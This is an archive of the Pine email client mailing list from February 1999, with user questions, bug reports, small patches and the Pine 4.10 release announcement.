From pinedev@shiva0.cac.washington.edu Tue Feb 2 17:28:38 1999 -0800

From [email protected] Tue Feb 2 17:28:38 1999 -0800
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From: Stephen Casner <[email protected]>
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Subject: Mondo "To" field crashes pine
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I was unfortunate enough (along with many others) to receive a spam
from Denubis Banere <[email protected]> containing about 20K bytes
of "To" field. Doing a selection on To in a folder containing this
message causes Unix pine 4.05 to seg fault and causes PC-Pine 4.05 to
say access to mailbox is lost (which may mean that imapd crashed). In
the PC case, attempting to look at the index beyond this message
causes PC-Pine to get stuck in a loop putting up a message something
like "[UID is invalid]" (sorry I can't repeat it now because I moved
that message out of my INBOX and the index is all loaded already in
the smaller file where I moved the bad message). Sometimes clicking
on the window close button can get you out of PC-Pine, sometimes not.

Is this a known bug? Anyone interested in this problematic message
and/or a core file?

-- Steve

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From [email protected] Tue Feb 2 18:38:36 1999 -0800
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From: Ovanes Manucharyan <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Insert vs. Overwrite?
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We've upgraded to 3.96 from 3.91 and have a minor problem.

Users are complaining that now by default,
the editor is in overwrite mode instead of
insert mode.

Does anyone know how to change this.

Thanks in advance.

Sincerely,

Ovanes M.

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From [email protected] Wed Feb 3 07:22:15 1999 -0800
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From: Edward M Greshko <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Insert vs. Overwrite?
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On Tue, 2 Feb 1999, Ovanes Manucharyan wrote:

> We've upgraded to 3.96 from 3.91 and have a minor problem.

Why did you "upgrade" to 3.96 when the current release is 4.05?

> Users are complaining that now by default,
> the editor is in overwrite mode instead of
> insert mode.
>
> Does anyone know how to change this.

What platform are you running on?

Thanks,
Ed

--
Edward M. Greshko Technical Manager, Electronic Commerce
GSM: +65-975-10860 Control Data Asia/Pacific Region
PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE

From [email protected] Thu Feb 4 07:21:12 1999 -0800
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From: Timothy J Luoma <[email protected]>
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Subject: Re: Insert vs. Overwrite?
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Author: Edward M Greshko <[email protected]>
Date: Wed, 3 Feb 1999 23:17:28 +0800 (GMT)
ID: <[email protected]>

> > We've upgraded to 3.96 from 3.91 and have a minor problem.
>
> Why did you "upgrade" to 3.96 when the current release is 4.05?

There are lots of reasons.

Going from .91 to .96 should be relatively painless, as the UI
didn't change all that much.

05 is a very different beast, which does not behave like 3.9x.

I'm still using 3.96 until the UI returns to a more usable format
(in the Mail and News folder listings is the major difference, plus
the key commands have changed. All of which was a very bad idea
IMO)

TjL

ps -- this still doesn't answer the real question which was asked

From [email protected] Thu Feb 4 08:00:10 1999 -0800
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From: Steven Ertelt <[email protected]>
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Subject: Re: Insert vs. Overwrite?
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I switched to PC Pine for Windows not long ago. The Pine I used to use
didn't amke it so when you used ctrl-K to delete a line that it would be
added to the clipboard and pasted the next time you use the Paste command.
Anyway to disable that so it doesn't paste?

Thanks,
Steven

From [email protected] Thu Feb 4 14:10:43 1999 -0800
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From: "Kevin D. Wilkerson, Sr." <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Pine 4.05 Build for SCO OpenServer 5.0.4
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I am attempting to generate compiled version of Pine 4.05
on SCO OpenServer 5.0.4 without success.

When running the 'build sc5' command I get an error in the
script process as indicated in the following screen shot:

# ./build sc5
make args are CC=cc

Making c-client library, mtest and imapd
make CC=cc sc5
/build: make: not found

Making Pico and Pilot
make CC=cc -f makefile.sc5
/build: make: not found

Making Pine.
make CC=cc -f makefile.sc5
/build: make: not found

Links to executables are in bin directory:
/build: size: not found
Done
#

and of course nothing is done.

I'd appreciate any assistance in resolving this.

Regards,

Kevin Wilkerson
Perfection Hydraulics, Inc.

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From [email protected] Thu Feb 4 15:32:51 1999 -0800
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From: George McConnell <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Pine 4.05 Build for SCO OpenServer 5.0.4
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At 05:07 PM 2/4/99 , you said something like...

>I am attempting to generate compiled version of Pine 4.05
>on SCO OpenServer 5.0.4 without success.

i ran into the same problem.

to get around it, bring down the SCO box into single user mode (init 1) and
then compile.

i don't know what the problem is that multi-user mode won't compile Pine
4.0x, but single user mode works fine. the binaries work with no problems.

From [email protected] Thu Feb 4 19:38:54 1999 -0800
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From: Michael Seibel <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Pine 4.10 now available
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This note is to announce the availability of the Pine Message System
version 4.10. Pine 4.10 is an evolutionary release that introduces a
number of new features, provides options to support old features, and
fixes a number of bugs found in previous releases.

More specific information can be found in the built-in release notes ("R"
off the Main Menu), and via:

ftp://ftp.cac.washington.edu/pine/docs/
and (soon)
http://www.cac.washington.edu/pine/

Source for the latest Pine release is available in:

ftp://ftp.cac.washington.edu/pine/pine.tar.Z
and
ftp://ftp.cac.washington.edu/pine/pine.tar.gz

and precompiled binaries for the various systems we have direct access to
are available in:

ftp://ftp.cac.washington.edu/pine/unix-bin
and
ftp://ftp.cac.washington.edu/pine/unix-bin-compressed

The corresponding PC-Pine distribution is available in:

ftp://ftp.cac.washington.edu/pine/pcpine/pm410w32.zip

As with all Pine releases, it is important that you carefully test and
determine for yourself that it performs suitably in your environment
before placing Pine into production use.

Enjoy!

Sincerely,

The Pine Development Team

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From [email protected] Fri Feb 5 01:03:56 1999 -0800
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Date: Fri, 5 Feb 1999 16:46:57 +0800
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From: "Ed Greshko" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: RE: Insert vs. Overwrite?
In-Reply-To: <199902041515.KAA12727@ocalhost>
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> > Why did you "upgrade" to 3.96 when the current release is 4.05?
>
> There are lots of reasons.

And then there is a good reason. :-)

It appears that the imap server they are using is somehow incompatible with
the latest version of pine.

> ps -- this still doesn't answer the real question which was asked

The platform being used is HP/UX. I happen to have access to a similar
platform running 3.96 and it doesn't exhibit the behavior mentioned. This
doesn't answer the real question either....but it appears to rule out a pine
specific issue.

Regards,
Ed

From [email protected] Fri Feb 5 01:58:53 1999 -0800
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From: "Denis N. Antonioli" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Pine 4.10 now available
In-Reply-To: <Pine.WNT.4.05.9809231527140.122-100000@pidgeon_ndc.cac.washington.edu>
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-----BEGIN PGP SIGNED MESSAGE-----

Hi,

Congratulation for the improvement in the new release,
the 'Role' feature is a dream comes true!

Keep up the good work!

Greetings,
dna

- --
The key is the software industry, which employs many highly educated,
well-paid workers to (a) design software and then (b) try to figure
out how come it doesn't work.
-- Dave Barry, "Cue Alan Greenspan"

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From [email protected] Fri Feb 5 02:05:37 1999 -0800
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From: "Denis N. Antonioli" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: PATCH: Packing the addresses
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This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to [email protected] for more info.

---559023410-851401618-903453840=:13676
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <[email protected]>

-----BEGIN PGP SIGNED MESSAGE-----

Hi,

I've submitted once a patch to pack more than one address on a line when
displaying e-mails with pine 4. Here it is again, adapted to version
4.10.

This patch adds a new configuration option, 'pack-address-headers', to
the section [ Advanced User Preferences ] of the setup.

when the option is unset, pine writes one address pro line,
when the option is set, pine packs as many addresses as possible
pro line.

Greetings,
dna

- --
The key is the software industry, which employs many highly educated,
well-paid workers to (a) design software and then (b) try to figure
out how come it doesn't work.
-- Dave Barry, "Cue Alan Greenspan"

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From [email protected] Fri Feb 5 06:53:05 1999 -0800
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From: Timothy J Luoma <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: PATCH: Packing the addresses
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References: <[email protected]>
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Author: "Denis N. Antonioli" <[email protected]>
Date: Fri, 5 Feb 1999 11:01:57 +0100 (MET)
ID: <[email protected]>

> This patch adds a new configuration option, 'pack-address-headers', to
> the section [ Advanced User Preferences ] of the setup.
> when the option is unset, pine writes one address pro line,
> when the option is set, pine packs as many addresses as possible

I would hope that this patch, now with a user-configurable setting, would be
rolled into future PINE releases, since it allows (but does not prescribe) a
change in behavior which is desired by many (I believe, from previous
conversations on-list).

TjL

From [email protected] Fri Feb 5 06:59:56 1999 -0800
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From: "K.N." <[email protected]>
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I have a rather simple questions that I have not been able to find the
answer to. How do you send a Blind Carbon Copy in Pine 3.95?

Thanks,

Karen

+---------------------------------------------------------+
| Karen Nell |
| Computer Support Specialist Phone: 312.567.6744 |
| Illinois Institute of Tech. Fax : 312.567.3313 |
| Chicago, IL 60616 |
+---------------------------------------------------------+

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From [email protected] Fri Feb 5 07:19:34 1999 -0800
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Date: Fri, 5 Feb 1999 09:14:54 -0600 (CST)
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From: Chris MacLeod <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: BCC
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you have to enable extended headers if they arn't already.
Then hit ^R in the address fields and they will expand to show Bcc, Lcc
and some others.

On Fri, 5 Feb 1999, K.N. wrote:

> Date: Fri, 05 Feb 1999 08:56:42 -0500 (CDT)
> From: K.N. <[email protected]>
> To: Pine Discussion Forum <[email protected]>
> Subject: BCC
>
> I have a rather simple questions that I have not been able to find the
> answer to. How do you send a Blind Carbon Copy in Pine 3.95?
>
> Thanks,
>
> Karen
>
> +---------------------------------------------------------+
> | Karen Nell |
> | Computer Support Specialist Phone: 312.567.6744 |
> | Illinois Institute of Tech. Fax : 312.567.3313 |
> | Chicago, IL 60616 |
> +---------------------------------------------------------+
>
>
> -----------------------------------------------------------------
> For information about this mailing list, and its archives, see:
> http://www.washington.edu/pine/pine-info/
> -----------------------------------------------------------------
>

--
------------------------------------------------------------------------------
[email protected] Chris MacLeod
Web Systems Administrator www.miscellaneous.net

With blue, uncertain, stumbling buzz,
Between the light and me,
And then the windows failed, and then
I could not see to see.

-Emily Dickenson "I Heard A Fly Buzz When I Died"
------------------------------------------------------------------------------
"Beware the penguins..." -Morphy

GNUpgp Public key Available - finger [email protected]

From [email protected] Fri Feb 5 07:34:55 1999 -0800
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Date: Fri, 05 Feb 1999 10:33:29 -0500
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From: "Morgan Whaley" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Send Hangs
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We're having a problem with some userid's not having the ability to send =
mail via Pine versions 3.96, 4.05 & 4.10. =20

The strange thing is that it works for 5 users (each of which have their =
own filesystems and their home directory is at the root level) but the =
rest of the users that are in two other filesystems hang when sending.

We can't find any other difference in the accounts.

When we do 'pine -d 9' the debug file ends with:

IMAP DEBUG 10:02:57 2/5: 220 openhubHS.mcg.edu ESMTP Sendmail AIX4.2/UCB =
8.7; Fri, 5 Feb 1999 10:02:57 -0500 (EST)
IMAP DEBUG 10:02:57 2/5: EHLO localhost
IMAP DEBUG 10:02:57 2/5: 250-openhubHS.mcg.edu Hello mwhaley@localhost, =
pleased to meet you
IMAP DEBUG 10:02:57 2/5: 250-EXPN
IMAP DEBUG 10:02:57 2/5: 250-8BITMIME
IMAP DEBUG 10:02:57 2/5: 250-SIZE
IMAP DEBUG 10:02:57 2/5: 250-DSN
IMAP DEBUG 10:02:57 2/5: 250-VERB
IMAP DEBUG 10:02:57 2/5: 250-ONEX
IMAP DEBUG 10:02:57 2/5: 250 HELP
Opened SMTP server "openhubHS.mcg.edu"
IMAP DEBUG 10:02:57 2/5: RSET
alarm_signal()
alarm_signal()
alarm_signal()
alarm_signal()
alarm_signal()
alarm_signal()........

until the session is cancelled.

We are currently running AIX4.2.1 on an RS/6000 Model F50.

Any ideas?

Thanks,

---------------------------------------------------------------------------=
----------------------
Morgan Whaley - Application System Analyst Programmer II
Medical College of Georgia
Information Services Division
1120 15th Street Voice: 706.721.7291
Room HS-2146 Fax...: 706.721.6292
Augusta, GA 30912-8600 E-mail: [email protected]
---------------------------------------------------------------------------=
----------------------

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From [email protected] Fri Feb 5 08:11:00 1999 -0800
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From: ASHWANTH FERNANDO <[email protected]>
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Subject: Re: BCC
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Frankly speaking , I too do not know what it means -sending a blind carbon
copy. In fact I am also a novice , I sek help from Pine only. Please
forgive me . Ashwanth fernando

From [email protected] Fri Feb 5 08:13:32 1999 -0800
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From: ASHWANTH FERNANDO <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: PATCH: Packing the addresses
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please forgive me.I am a novice, I do not understand what you have
written. Please seek help from PINE. aSHWANTH.

On Fri, 5 Feb 1999, Timothy J Luoma wrote:

> Author: "Denis N. Antonioli" <[email protected]>
> Date: Fri, 5 Feb 1999 11:01:57 +0100 (MET)
> ID: <[email protected]>
>
> > This patch adds a new configuration option, 'pack-address-headers', to
> > the section [ Advanced User Preferences ] of the setup.
> > when the option is unset, pine writes one address pro line,
> > when the option is set, pine packs as many addresses as possible
>
> I would hope that this patch, now with a user-configurable setting, would be
> rolled into future PINE releases, since it allows (but does not prescribe) a
> change in behavior which is desired by many (I believe, from previous
> conversations on-list).
>
> TjL
>
>
>

From [email protected] Fri Feb 5 08:25:42 1999 -0800
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From: Steven Ertelt <[email protected]>
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On Fri, 5 Feb 1999, K.N. wrote:

> I have a rather simple questions that I have not been able to find the
> answer to. How do you send a Blind Carbon Copy in Pine 3.95?

Ctrl-R gives you additional options. Type that anytime you're in the email
headers to get the Bcc, Newsgroups, FCC, and LCC options.

Steven

From [email protected] Fri Feb 5 08:30:56 1999 -0800
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From: Mike Brudenell <[email protected]>
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--On Fri, Feb 5, 1999 9:39 pm +0000 ASHWANTH FERNANDO
<[email protected]> wrote:

> Frankly speaking , I too do not know what it means -sending a blind carbon
> copy. In fact I am also a novice , I sek help from Pine only. Please
> forgive me . Ashwanth fernando

First consider "Carbon copy" ...

When you send a message to somebody you may also want to send a copy to one
or more other people "for information": that is, to keep them abreast of
what the real person(s) the message was sent to knows/should be doing.

This is the ordinary "Cc:" header. [The "carbon" bit comes from those
ghastly sheets of stuff you had to put between pages when typing onto the
top sheet to make a second copy on the sheet below.]

Sometimes you want to send these "for information" copies but not let the
real recipient(s) know you are doing so. For example you might want to
send an e-mail to someone explaining why they aren't allowed to do a
particular thing, but also SECRETLY send a copy to your boss so he is aware
of your answer and can be prepared if the person escalates the problem.

The keyword is SECRETLY ... you want to send the carbon copy but NOT let
the recipient see you are doing so -- hence a "blind" carbon copy (the
recipient doesn't get to see the "Bcc:" list you used: they only see the
"To:" and "Cc:" lists).

This is the "Bcc:" header.

Pine actually also offers another header called "Fcc:" -- "file carbon
copy". This lets you save a message you are sending straight into a(n
outgoing) mail folder.

Some people who don't know about "Fcc:" send themselves a copy by putting
their own e-mail address in the "Cc:" header (or, better, the "Bcc:"
header). This sends your message to the mail server which then sends you a
copy back: this introduces unnecessary delay and places extra load on the
mail server. Better to save the copy directly (and immediately) to a
folder by giving the folder name in the "Fcc:" header.

Because "Fcc:" is very useful Pine lets you set a default Fcc folder which
is used as a default for every message you send (see the Setup
Configuration screen). You can even override this for particular entries
in your Address Book if you like!

Cheers,

Mike B-)
--
The Computing Service, University of York, Heslington, York Yo10 5DD, UK
Tel: +44-1904-433811 FAX: +44-1904-433740 http://www.york.ac.uk/~pmb1/

* Unsolicited commercial e-mail is NOT welcome at this e-mail address. *

From [email protected] Fri Feb 5 08:36:50 1999 -0800
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Date: Fri, 5 Feb 1999 10:31:59 -0600 (CST)
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From: Chris MacLeod <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: BCC
In-Reply-To: <Pine.SOL.3.96.990205213742.28639A-100000@giasmda>
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Blind Carbon copy allows you to send a message to multiple recipients
without them seeming who else the message was copied to.

For example:
To: [email protected]
CC: [email protected]
Bcc: [email protected]

This will send a message to bob, jane, and steve
Bob and Jane will see that the message was sent to bob and jane

Steve will see that the message was sent to bob and jane but won't see his
name on the list even though he still got it.

Bob and Jane will not know that steve received the message.

On Fri, 5 Feb 1999, ASHWANTH FERNANDO wrote:

> Date: Fri, 5 Feb 1999 21:39:33 +0000 (IST)
> From: ASHWANTH FERNANDO <[email protected]>
> To: Pine Discussion Forum <[email protected]>
> Subject: Re: BCC
>
> Frankly speaking , I too do not know what it means -sending a blind carbon
> copy. In fact I am also a novice , I sek help from Pine only. Please
> forgive me . Ashwanth fernando
>

--
------------------------------------------------------------------------------
[email protected] Chris MacLeod
Web Systems Administrator www.miscellaneous.net

With blue, uncertain, stumbling buzz,
Between the light and me,
And then the windows failed, and then
I could not see to see.

-Emily Dickenson "I Heard A Fly Buzz When I Died"
------------------------------------------------------------------------------
"Beware the penguins..." -Morphy

GNUpgp Public key Available - finger [email protected]

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On Fri, 5 Feb 1999, Chris MacLeod wrote:

> Blind Carbon copy allows you to send a message to multiple recipients
> without them seeming who else the message was copied to.
>
> For example:
> To: [email protected]
> CC: [email protected]
> Bcc: [email protected]
>
> This will send a message to bob, jane, and steve
> Bob and Jane will see that the message was sent to bob and jane
>
> Steve will see that the message was sent to bob and jane but won't see his
> name on the list even though he still got it.

.. and that is sometimes a problem, especially if the To or Cc lists
contain a mailing list address. Steve may think he's been added to
that mailing list against his wishes.

Some nice mail programs from the past that ran on computers now dead
for all intents and purposes used to include a Bcc header on the copy
of the message that went to Steve so Steve could see that he was
explicitlyl addressed. Each Bcc recipient would get a Bcc with his
name only.

I wish Pine and other current mailers did this.
-- Steve

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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On Fri, Feb 05, 1999 at 10:14:02AM -0800, Stephen Casner wrote:
>
> Some nice mail programs from the past that ran on computers now dead
> for all intents and purposes used to include a Bcc header on the copy
> of the message that went to Steve so Steve could see that he was
> explicitlyl addressed. Each Bcc recipient would get a Bcc with his
> name only.
>
> I wish Pine and other current mailers did this.
> -- Steve

They do if you look at rich headers Bcc is in there so all you need to
do is at it to the default list of headers

--
--- There are two kinds
of knowledge, you either know the answer or you know where to find it
-Kane, Johnson, and anonymous

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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From: Michelle Grandchamp <[email protected]>
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I have a couple of questons. When I log on to get my messages, there is a
message that says that my user quota is exceeded and that I need to get
rid of files. Now, I don't know what that means or how to fix it. Second,
I keep getting disconnected. I know that when someone calls or even picks
up the phone, I get disconnected, but I often get disconnected in the
middle of trying to send e-mail to others. Some answers would be greatly
appreciated. I don't know aanything about computers, so....I kinda need
help.

Thank You, Michelle Grandchamp

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From: Ken Woods <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: new footers to the list (was, eh, something)
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Seeing how pine can (finally) handle sigdashes, wouldn't it make good
sense to have the footer of each message "sig-dashed"??? ie:

--
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On Fri, 5 Feb 1999, Michelle Grandchamp wrote:

(snip, content not important)
>
> -----------------------------------------------------------------
> For information about this mailing list, and its archives, see:
> http://www.washington.edu/pine/pine-info/
> -----------------------------------------------------------------
>

--
Ken Woods
[email protected]

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On Fri, 5 Feb 1999, Brad Giaccio wrote:

> On Fri, Feb 05, 1999 at 10:14:02AM -0800, Stephen Casner wrote:
> >
> > Each Bcc recipient would get a Bcc with his name only.
> > I wish Pine and other current mailers did this.
> > -- Steve
>
> They do if you look at rich headers Bcc is in there so all you need to
> do is at it to the default list of headers

I believe Steve means that the recipient would see a Bcc header in his
message, indicating that he was Bcc'd on something (and not SPAMmed).
email filtering programs would benefit from this header as well. Pine
(or sendmail (or ...)) would have to add this header onto outgoing
mail, as the receiving mailer or MUA would not know when or how to add
it. I don't have time to look at the RFC for email headers, but maybe
this (outgoing bcc field) behavior was deprecated by someone at some
point.

-jeff
-----
Jeff Schaller | Voice: (316) 946-7255
UNIX System Administrator | Fax: (316) 946-2809
Bombardier Aerospace/Learjet | One should never generalize.
The above thoughts are mine and are not representative of Learjet.

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On Fri, 5 Feb 1999, Brad Giaccio wrote:

> They do if you look at rich headers Bcc is in there so all you need to
> do is at it to the default list of headers

I already have Bcc included in my default list of headers displayed
during message composition. But Pine does not include a Bcc field in
the copy of the outgoing message destined to the recipient in the
Bcc. That's what I was talking about.

I've Bcc'd this message to you. Check it out.
-- Steve

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From: Ovanes Manucharyan <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: RE: Insert vs. Overwrite?
In-Reply-To: <[email protected]>
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On Fri, 5 Feb 1999 16:46:57 +0800 Ed Greshko
<[email protected]> wrote:

> The platform being used is HP/UX. I happen to have access to a similar
> platform running 3.96 and it doesn't exhibit the behavior mentioned. This
> doesn't answer the real question either....but it appears to rule out a pine
> specific issue.
>
> Regards,
> Ed
>

Yes, perhaps it could be said that this is not a pine-specific issue,
since it only happens for some users and not for others too...

Even for accounts that reported the problem, I logged in as the user,
from my terminal, then I tried to use pine, and it works fine.

They however complain that it doesn't work.

I wonder if it has something to do with the terminal they are using?

Ovanes

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From: George Gallen <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Erols and IMAP
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We have someone in our group, that wants to access their
email from their erols account using pine (on a unix system).

Does anyone know if erols has the ability to IMAP access to
their members mail? I tried erols.com as the host, but our
DNS shot that one down. Would the username/password be the
same as thier login username/password?

We are using pine 4.05.

Thanks
George Gallen
[email protected]

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From: George Gallen <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: RE: Erols and IMAP (now a pop3 question)
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Never mind....spoke with erols, they only allow pop3
access. Do I need to add anything to my unix system to
allow pine to access mailboxs via pop3?

George Gallen
[email protected]

-----Original Message-----
From: George Gallen [mailto:[email protected]]
Sent: Friday, February 05, 1999 3:34 PM
To: Pine Discussion Forum
Subject: Erols and IMAP

We have someone in our group, that wants to access their
email from their erols account using pine (on a unix system).

Does anyone know if erols has the ability to IMAP access to
their members mail? I tried erols.com as the host, but our
DNS shot that one down. Would the username/password be the
same as thier login username/password?

We are using pine 4.05.

Thanks
George Gallen
[email protected]

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From: [email protected]
To: Pine Discussion Forum <[email protected]>
Subject: Re: Pine 4.10 now available
In-Reply-To: <Pine.WNT.4.09.999.9902041741350.90-100000@crash23_ndc>
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On Thu, 4 Feb 1999, Michael Seibel wrote:

> This note is to announce the availability of the Pine Message System
> version 4.10. Pine 4.10 is an evolutionary release that introduces a
> number of new features, provides options to support old features, and
> fixes a number of bugs found in previous releases.

Ahhhh....

It seems to work okay here (hpux 10.20, no changes in make other than
commenting out -g debug and uncommenting -O), but....

When printing (unix pine 4.10), one now gets a status screen
post-printing indicating the spool job and status. Is there a way to
quell this? I couldn't find anything in the tech-notes or .pinerc.

c
--
Clifford Green Internet - [email protected]
Academic Computing Services voice - 732-235-5250
UMDNJ-IST fax - 732-235-5252
I.R.S.: We've got what it takes to take what you've got.

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Date: Fri, 5 Feb 1999 15:11:29 -0800 (PST)
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From: Steve Hubert <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: PATCH: Packing the addresses
In-Reply-To: <[email protected]>
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Pine 4.10 already does pack more than one address per line. Versions
4.00-4.02 did the one address per line thing, but since 4.03 we've gone
back to multiple addresses per line.

--
Steve Hubert <[email protected]>
Networks and Distributed Computing, Univ. of Washington, Seattle

On Fri, 5 Feb 1999, Denis N. Antonioli wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> Hi,
>
> I've submitted once a patch to pack more than one address on a line when
> displaying e-mails with pine 4. Here it is again, adapted to version
> 4.10.
>
> This patch adds a new configuration option, 'pack-address-headers', to
> the section [ Advanced User Preferences ] of the setup.
>
> when the option is unset, pine writes one address pro line,
> when the option is set, pine packs as many addresses as possible
> pro line.
>
> Greetings,
> dna
>
> - --
> The key is the software industry, which employs many highly educated,
> well-paid workers to (a) design software and then (b) try to figure
> out how come it doesn't work.
> -- Dave Barry, "Cue Alan Greenspan"
>
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3ia
> Charset: latin1
>
> iQCVAwUBNrrBmn7lXFr6ofWlAQGTgQQAoxZ9SIAADcD+5dT7vNdSyPHd/5J3MV1O
> wL2dU5PVcdDtBPjLplUa6dhCahE0Hxv0pBcLXasUO5IqdBXCzHWrykDn2DnHiXTD
> WmYqvDtbDnO9C7IqdHbPksYw7jA7JzNSSAVxMmp9OlqQUxVzDqOowSlS8o9YXmlU
> xgFholr//uU=
> =DBmN
> -----END PGP SIGNATURE-----
>

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From: Shawn Jeffries <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: PATCH: Packing the addresses
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Steve,

I think the consensus is to make it a user option, if its at all possible.

--
Shawn Jeffries
[email protected]

On Fri, 5 Feb 1999, Steve Hubert wrote:

>Pine 4.10 already does pack more than one address per line. Versions
>4.00-4.02 did the one address per line thing, but since 4.03 we've gone
>back to multiple addresses per line.
>
>

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From: Timothy J Luoma <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Erols and IMAP (now a pop3 question)
In-Reply-To: <0089B6FA4F0DD211AD4E0001FA7E5055B842EC@POISON>
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Author: George Gallen <[email protected]>
Date: Fri, 5 Feb 1999 16:01:03 -0500
ID: <0089B6FA4F0DD211AD4E0001FA7E5055B842EC@POISON>

> Never mind....spoke with erols, they only allow pop3
> access. Do I need to add anything to my unix system to
> allow pine to access mailboxs via pop3?

Please refer to item 3.17 in the PINE FAQ
http://www.washington.edu/pine/faq/

namely http://www.washington.edu/pine/faq/problems.html#xtocid105792

which should answer this question for you

TjL

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From: Darren Henderson <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: 4.10 combined folders
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Nice to see this feature back:)

It would be helpful if the news collection could be excluded from the
view. If you are connecting to a news server over a slow link there is an
appreciable delay in opening the the combined folder view.

______________________________________________________________________
Darren Henderson [email protected]

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From: "Marcin 'Qrczak' Kowalczyk" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Bug: detokenizing backslashes
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Thanks for pine 4.10!

detoken_src() in pine/reply.c makes multiple passes until nothing changes.
It thus gives incorrect results with backslashes: e.g. \\_ is transformed
into \_ and then finally into _. While _token_ resolving can be repeated,
backslash removing can't. I guess it should be done only once at the end,
or I can't use my signature without hacking pine :-)

Should I try to make a patch?

--
__("< Marcin Kowalczyk * [email protected] http://kki.net.pl/qrczak/
\__/ GCS/M d- s+:-- a22 C+++>+++$ UL++>++++$ P+++ L++>++++$ E->++
^^ W++ N+++ o? K? w(---) O? M- V? PS-- PE++ Y? PGP->+ t
QRCZAK 5? X- R tv-- b+>++ DI D- G+ e>++++ h! r--%>++ y-

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From: Vanessa Surmonde <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Erols and IMAP
In-Reply-To: <0089B6FA4F0DD211AD4E0001FA7E5055B842E9@POISON>
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when I worked there, there was no IMAP support for customers..but that was
a year ago -- the appropriate mail server is pop.erols.com -- if that
doesn't work, then you might try using fetchmail to grab the mail via pop
and deposit it on the local unix box, that's what I do these days :)

Vinnie

P.S. they also used to get real cranky about poeple leaving mail on the
server...

On Fri, 5 Feb 1999, George Gallen wrote:

> We have someone in our group, that wants to access their
> email from their erols account using pine (on a unix system).
>
> Does anyone know if erols has the ability to IMAP access to
> their members mail? I tried erols.com as the host, but our
> DNS shot that one down. Would the username/password be the
> same as thier login username/password?
>
> We are using pine 4.05.
>
>
> Thanks
> George Gallen
> [email protected]
>
> -----------------------------------------------------------------
> For information about this mailing list, and its archives, see:
> http://www.washington.edu/pine/pine-info/
> -----------------------------------------------------------------
>

--
a safe place for all of the pieces that scatter
learn to pretend there's more than love that matters - e saliers
Obligatory pathetic website at http://www.ashawna.net

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From: Dan Wing <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Pine 4.10 - added TIMEZONE token
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This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to [email protected] for more info.

---559023410-758783491-918334930=:24983
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <[email protected]>

On Thu, 4 Feb 1999 19:18 -0800, Michael Seibel wrote:

> This note is to announce the availability of the Pine Message System
> version 4.10. Pine 4.10 is an evolutionary release that introduces a
> number of new features, provides options to support old features, and
> fixes a number of bugs found in previous releases.

Thank you for the new reply-leadin support. I have made a small
enhancement to this feature.

I added support for a new token, _TIMEZONE_, which I find to be a useful
addition to the new reply-leadin feature.

For example, my reply-leadin setting is:

reply-leadin=On _DAYDATE_ _TIME24_ _TIMEZONE_, _FROM_ wrote:

which generates a reply-leadin like at the top of this message:

On Thu, 4 Feb 1999 19:18 -0800, Michael Seibel wrote:

Diff's are attached to this message.

[this is my first contribution to the pine sources - is there a more
appropriate mailing list for such contributions?]

-Dan Wing
[email protected]

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KGQud2tkYXkpIDogIiIsDQo=
---559023410-758783491-918334930=:24983--

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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From: "Krishnakumar Subramanian" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: procmailrc
Mime-Version: 1.0
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Can anyone help me with getting a default procmailrc file or help me in
writing one on my own. I get a lot of mails and have difficulty sorting
them with pine.
I am looking for a way to send mail with specific address to a specific
folder on arrival. Also I would like to send all read mails to specific
folders. I am aware that there is help in pine itself, but I am not able
to configure it properly.
Thanking you in advance,
S Krishnakumar <[email protected]>

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com

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From [email protected] Sun ??? 0 00:00:00 1970 +0000
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Date: Sun, 7 Feb 1999 23:36:58 -0500 (EST)
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From: Ken Woods <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: procmailrc
In-Reply-To: <[email protected]>
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X-To: Krishnakumar Subramanian <[email protected]>
X-Cc: Pine Discussion Forum <[email protected]>
X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN

(those of you on cmp should recognize this...)

o This is a procmail file, or recipe.
o This is how to filter mail.
o You put this file in your home directory.
o This is used to filter email.
o This file is called ".procmailrc"
o One could use this to filter email.
o Do not use the "'s
o Filtering email is the art of putting things in different places for
the ease of reading them.
o This is from one of my machines. You cannot simply cut and past
everything from my machine to yours and expect it to work.
o People use things JUST LIKE THIS ONE to filter email.
o You have to do some research on YOUR system to make this work
correctly on YOUR system.

The dotted line is not included in the file.
Remove the dotted line.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
